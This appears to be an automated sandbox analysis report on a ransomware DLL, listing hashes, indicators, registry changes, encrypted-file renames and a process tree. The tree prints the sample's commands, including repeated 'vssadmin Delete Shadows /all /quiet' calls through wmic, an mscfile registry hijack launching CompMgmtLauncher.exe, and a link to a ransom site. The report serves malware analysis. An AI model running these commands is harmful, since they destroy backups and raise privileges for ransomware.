5586765852943b5d8bc647bfeaebf0fb5894b5fd5839b749cb8d41068d22aebe

Analysis

max time kernel
148s
max time network
150s
platform
windows7_x64
resource
win7v20210408
submitted
29/08/2021, 11:34

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General

Target

3.dll
Size

38KB
MD5

8ca2c9564335afda47c143bf9342df82
SHA1

414b57313341832f875133db8f4e5a43059546c8
SHA256

5586765852943b5d8bc647bfeaebf0fb5894b5fd5839b749cb8d41068d22aebe
SHA512

7f210454015fcced266fae77c2da3bea740ee91800fa49b4e5f242ae854ea386758dcb29ff96538b3d424e9a4c198c067683a243bc7aae3bc06c1413b85f4e66

Score

10^/10

ransomware

Malware Config

Signatures

Process spawned unexpected child process 12 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1804	1560	cmd.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1420	1560	vssadmin.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	568	1560	vssadmin.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1092	1560	vssadmin.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1812	1560	cmd.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	800	1560	vssadmin.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1396	1560	vssadmin.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1064	1560	cmd.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	980	1560	vssadmin.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	512	1560	vssadmin.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1988	1560	cmd.exe	38
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1064	1560	vssadmin.exe	38

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\LimitDisable.raw => C:\Users\Admin\Pictures\LimitDisable.raw.yhocbpfzn	rundll32.exe
File renamed	C:\Users\Admin\Pictures\ResumeOptimize.crw => C:\Users\Admin\Pictures\ResumeOptimize.crw.yhocbpfzn	rundll32.exe
File opened for modification	C:\Users\Admin\Pictures\LimitTest.tiff	rundll32.exe
File renamed	C:\Users\Admin\Pictures\LimitTest.tiff => C:\Users\Admin\Pictures\LimitTest.tiff.yhocbpfzn	rundll32.exe
File renamed	C:\Users\Admin\Pictures\RepairWait.tif => C:\Users\Admin\Pictures\RepairWait.tif.yhocbpfzn	rundll32.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1032 set thread context of 1108	1032	rundll32.exe	9
PID 1032 set thread context of 1176	1032	rundll32.exe	13
PID 1032 set thread context of 1204	1032	rundll32.exe	12

Interacts with shadow copies 2 TTPs 8 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1396	vssadmin.exe
980	vssadmin.exe
512	vssadmin.exe
1064	vssadmin.exe
1420	vssadmin.exe
568	vssadmin.exe
1092	vssadmin.exe
800	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000035aa90559ee59646b2c822c62ca11b9000000000020000000000106600000001000020000000dfb1d00dfeca0d173e143af37ebdc6a026cce14bea5f6f16405047510fcce27c000000000e8000000002000020000000db5de02e2f5144f1b17cf257784fb79282caf421d06afef2f4a34467dd7bd13f20000000ddb53f4d85500ae1246683e4a310da03392c831d07ca4c688b67c9b8641a281540000000ead81da4203a34209c7ab43dd4b66de6ca0d163e202599313e96811010715056c1bb59e949da5505c832a456b18b12fbad126dca754243163c2abbc12c092b0b	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "337008888"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c0111951da9cd701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000035aa90559ee59646b2c822c62ca11b90000000000200000000001066000000010000200000004ff34639a9b91095606ae1f535c215ec4334ea579909af00347eda666a1b76c0000000000e80000000020000200000009e4234edaea50a6b2a46497916d52014d830dd251a5e30a41df5ef3d37fb4e2b90000000d99c3b137a9e23be29dd744bfe4d366809c090a9867b85a423be85438af637a4ff5e6d563a9d1afa25b9b8c411f83ecad8551e4dffd77488272fa7544ae13247b2ef9d77c8e808036efa0cb122a23b478cbc585c93e69f470fd64c93a3a2cdfbb23d2bcf67d0dcec078f1de6e10002d26059c55b589c9bfba92c14be8a58d41a4ea0a129a01688339192dcb6f0b67e5340000000bb14bc512c4debee3e1d41dd2fbfd17df14505cbe4a06a2e3e1fe3e907f6aeb64fee12472e83c80751607ed86e33327efbeeff1ab1e9e9b63e41c41e23c7bf7a	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{7911EF91-08CD-11EC-9981-E6EC8A14FA92} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	taskhost.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1100	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1032	rundll32.exe
1032	rundll32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1204	Explorer.EXE

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
1032	rundll32.exe
1032	rundll32.exe
1032	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1204	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1740	wmic.exe
Token: SeSecurityPrivilege	1740	wmic.exe
Token: SeTakeOwnershipPrivilege	1740	wmic.exe
Token: SeLoadDriverPrivilege	1740	wmic.exe
Token: SeSystemProfilePrivilege	1740	wmic.exe
Token: SeSystemtimePrivilege	1740	wmic.exe
Token: SeProfSingleProcessPrivilege	1740	wmic.exe
Token: SeIncBasePriorityPrivilege	1740	wmic.exe
Token: SeCreatePagefilePrivilege	1740	wmic.exe
Token: SeBackupPrivilege	1740	wmic.exe
Token: SeRestorePrivilege	1740	wmic.exe
Token: SeShutdownPrivilege	1740	wmic.exe
Token: SeDebugPrivilege	1740	wmic.exe
Token: SeSystemEnvironmentPrivilege	1740	wmic.exe
Token: SeRemoteShutdownPrivilege	1740	wmic.exe
Token: SeUndockPrivilege	1740	wmic.exe
Token: SeManageVolumePrivilege	1740	wmic.exe
Token: 33	1740	wmic.exe
Token: 34	1740	wmic.exe
Token: 35	1740	wmic.exe
Token: SeShutdownPrivilege	1204	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1696	WMIC.exe
Token: SeSecurityPrivilege	1696	WMIC.exe
Token: SeTakeOwnershipPrivilege	1696	WMIC.exe
Token: SeLoadDriverPrivilege	1696	WMIC.exe
Token: SeSystemProfilePrivilege	1696	WMIC.exe
Token: SeSystemtimePrivilege	1696	WMIC.exe
Token: SeProfSingleProcessPrivilege	1696	WMIC.exe
Token: SeIncBasePriorityPrivilege	1696	WMIC.exe
Token: SeCreatePagefilePrivilege	1696	WMIC.exe
Token: SeBackupPrivilege	1696	WMIC.exe
Token: SeRestorePrivilege	1696	WMIC.exe
Token: SeShutdownPrivilege	1696	WMIC.exe
Token: SeDebugPrivilege	1696	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1696	WMIC.exe
Token: SeRemoteShutdownPrivilege	1696	WMIC.exe
Token: SeUndockPrivilege	1696	WMIC.exe
Token: SeManageVolumePrivilege	1696	WMIC.exe
Token: 33	1696	WMIC.exe
Token: 34	1696	WMIC.exe
Token: 35	1696	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1740	wmic.exe
Token: SeSecurityPrivilege	1740	wmic.exe
Token: SeTakeOwnershipPrivilege	1740	wmic.exe
Token: SeLoadDriverPrivilege	1740	wmic.exe
Token: SeSystemProfilePrivilege	1740	wmic.exe
Token: SeSystemtimePrivilege	1740	wmic.exe
Token: SeProfSingleProcessPrivilege	1740	wmic.exe
Token: SeIncBasePriorityPrivilege	1740	wmic.exe
Token: SeCreatePagefilePrivilege	1740	wmic.exe
Token: SeBackupPrivilege	1740	wmic.exe
Token: SeRestorePrivilege	1740	wmic.exe
Token: SeShutdownPrivilege	1740	wmic.exe
Token: SeDebugPrivilege	1740	wmic.exe
Token: SeSystemEnvironmentPrivilege	1740	wmic.exe
Token: SeRemoteShutdownPrivilege	1740	wmic.exe
Token: SeUndockPrivilege	1740	wmic.exe
Token: SeManageVolumePrivilege	1740	wmic.exe
Token: 33	1740	wmic.exe
Token: 34	1740	wmic.exe
Token: 35	1740	wmic.exe
Token: SeIncreaseQuotaPrivilege	1696	WMIC.exe
Token: SeSecurityPrivilege	1696	WMIC.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1264	iexplore.exe
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1264	iexplore.exe
1264	iexplore.exe
1556	IEXPLORE.EXE
1556	IEXPLORE.EXE
1556	IEXPLORE.EXE
1556	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1032 wrote to memory of 1100	1032	rundll32.exe	29
PID 1032 wrote to memory of 1100	1032	rundll32.exe	29
PID 1032 wrote to memory of 1100	1032	rundll32.exe	29
PID 1032 wrote to memory of 736	1032	rundll32.exe	30
PID 1032 wrote to memory of 736	1032	rundll32.exe	30
PID 1032 wrote to memory of 736	1032	rundll32.exe	30
PID 1032 wrote to memory of 1740	1032	rundll32.exe	31
PID 1032 wrote to memory of 1740	1032	rundll32.exe	31
PID 1032 wrote to memory of 1740	1032	rundll32.exe	31
PID 1032 wrote to memory of 432	1032	rundll32.exe	34
PID 1032 wrote to memory of 432	1032	rundll32.exe	34
PID 1032 wrote to memory of 432	1032	rundll32.exe	34
PID 432 wrote to memory of 1696	432	cmd.exe	36
PID 432 wrote to memory of 1696	432	cmd.exe	36
PID 432 wrote to memory of 1696	432	cmd.exe	36
PID 736 wrote to memory of 1264	736	cmd.exe	37
PID 736 wrote to memory of 1264	736	cmd.exe	37
PID 736 wrote to memory of 1264	736	cmd.exe	37
PID 1264 wrote to memory of 1556	1264	iexplore.exe	44
PID 1264 wrote to memory of 1556	1264	iexplore.exe	44
PID 1264 wrote to memory of 1556	1264	iexplore.exe	44
PID 1264 wrote to memory of 1556	1264	iexplore.exe	44
PID 1804 wrote to memory of 1064	1804	cmd.exe	46
PID 1804 wrote to memory of 1064	1804	cmd.exe	46
PID 1804 wrote to memory of 1064	1804	cmd.exe	46
PID 1064 wrote to memory of 700	1064	CompMgmtLauncher.exe	48
PID 1064 wrote to memory of 700	1064	CompMgmtLauncher.exe	48
PID 1064 wrote to memory of 700	1064	CompMgmtLauncher.exe	48
PID 1176 wrote to memory of 752	1176	Dwm.exe	54
PID 1176 wrote to memory of 752	1176	Dwm.exe	54
PID 1176 wrote to memory of 752	1176	Dwm.exe	54
PID 1176 wrote to memory of 568	1176	Dwm.exe	56
PID 1176 wrote to memory of 568	1176	Dwm.exe	56
PID 1176 wrote to memory of 568	1176	Dwm.exe	56
PID 568 wrote to memory of 204	568	cmd.exe	58
PID 568 wrote to memory of 204	568	cmd.exe	58
PID 568 wrote to memory of 204	568	cmd.exe	58
PID 1812 wrote to memory of 1148	1812	cmd.exe	63
PID 1812 wrote to memory of 1148	1812	cmd.exe	63
PID 1812 wrote to memory of 1148	1812	cmd.exe	63
PID 1148 wrote to memory of 1896	1148	CompMgmtLauncher.exe	64
PID 1148 wrote to memory of 1896	1148	CompMgmtLauncher.exe	64
PID 1148 wrote to memory of 1896	1148	CompMgmtLauncher.exe	64
PID 1108 wrote to memory of 900	1108	taskhost.exe	68
PID 1108 wrote to memory of 900	1108	taskhost.exe	68
PID 1108 wrote to memory of 900	1108	taskhost.exe	68
PID 1108 wrote to memory of 216	1108	taskhost.exe	69
PID 1108 wrote to memory of 216	1108	taskhost.exe	69
PID 1108 wrote to memory of 216	1108	taskhost.exe	69
PID 216 wrote to memory of 1976	216	cmd.exe	72
PID 216 wrote to memory of 1976	216	cmd.exe	72
PID 216 wrote to memory of 1976	216	cmd.exe	72
PID 1064 wrote to memory of 1580	1064	cmd.exe	77
PID 1064 wrote to memory of 1580	1064	cmd.exe	77
PID 1064 wrote to memory of 1580	1064	cmd.exe	77
PID 1580 wrote to memory of 1148	1580	CompMgmtLauncher.exe	78
PID 1580 wrote to memory of 1148	1580	CompMgmtLauncher.exe	78
PID 1580 wrote to memory of 1148	1580	CompMgmtLauncher.exe	78
PID 1204 wrote to memory of 1804	1204	Explorer.EXE	82
PID 1204 wrote to memory of 1804	1204	Explorer.EXE	82
PID 1204 wrote to memory of 1804	1204	Explorer.EXE	82
PID 1204 wrote to memory of 1384	1204	Explorer.EXE	84
PID 1204 wrote to memory of 1384	1204	Explorer.EXE	84
PID 1204 wrote to memory of 1384	1204	Explorer.EXE	84

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1108
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:900
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:216
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1976

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1204
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\3.dll,#1
  2⤵
  - Modifies extensions of user files
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1032
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\Users\Public\readme.txt?
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:1100
- - C:\Windows\system32\cmd.exe
    cmd /c "start http://4234acd810784a70e6yhocbpfzn.bitslet.uno/yhocbpfzn^&1^&47764452^&92^&365^&12"?
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:736
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://4234acd810784a70e6yhocbpfzn.bitslet.uno/yhocbpfzn&1&47764452&92&365&12?
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1264
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1264 CREDAT:275457 /prefetch:2
        5⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:1556
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1740
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:432
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1696
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1804
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:1384
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:220

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1176
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:752
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:568
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:204

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1804
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:700

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1420

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1972

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:568

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1092

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1812
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1148
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1896

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:800

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1396

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1064
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1148

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:980

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:512

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
PID:1988
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:752
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1344

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1064

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/1032-72-0x0000000001B90000-0x0000000001B91000-memory.dmp

Filesize
4KB

Download
memory/1032-62-0x0000000000290000-0x0000000000291000-memory.dmp

Filesize
4KB

Download
memory/1032-63-0x00000000002A0000-0x00000000002A1000-memory.dmp

Filesize
4KB

Download
memory/1032-74-0x0000000003F30000-0x0000000003F31000-memory.dmp

Filesize
4KB

Download
memory/1032-61-0x0000000001DC0000-0x0000000002374000-memory.dmp

Filesize
5.7MB

Download
memory/1032-67-0x00000000002E0000-0x00000000002E1000-memory.dmp

Filesize
4KB

Download
memory/1032-71-0x0000000001B80000-0x0000000001B81000-memory.dmp

Filesize
4KB

Download
memory/1032-69-0x00000000005C0000-0x00000000005C1000-memory.dmp

Filesize
4KB

Download
memory/1032-70-0x00000000005D0000-0x00000000005D1000-memory.dmp

Filesize
4KB

Download
memory/1032-68-0x00000000002F0000-0x00000000002F1000-memory.dmp

Filesize
4KB

Download
memory/1032-64-0x00000000002B0000-0x00000000002B1000-memory.dmp

Filesize
4KB

Download
memory/1032-66-0x00000000002D0000-0x00000000002D1000-memory.dmp

Filesize
4KB

Download
memory/1032-80-0x0000000003F50000-0x0000000003F51000-memory.dmp

Filesize
4KB

Download
memory/1032-65-0x00000000002C0000-0x00000000002C1000-memory.dmp

Filesize
4KB

Download
memory/1100-76-0x000007FEFBD61000-0x000007FEFBD63000-memory.dmp

Filesize
8KB

Download
memory/1108-73-0x0000000000410000-0x0000000000415000-memory.dmp

Filesize
20KB

Download
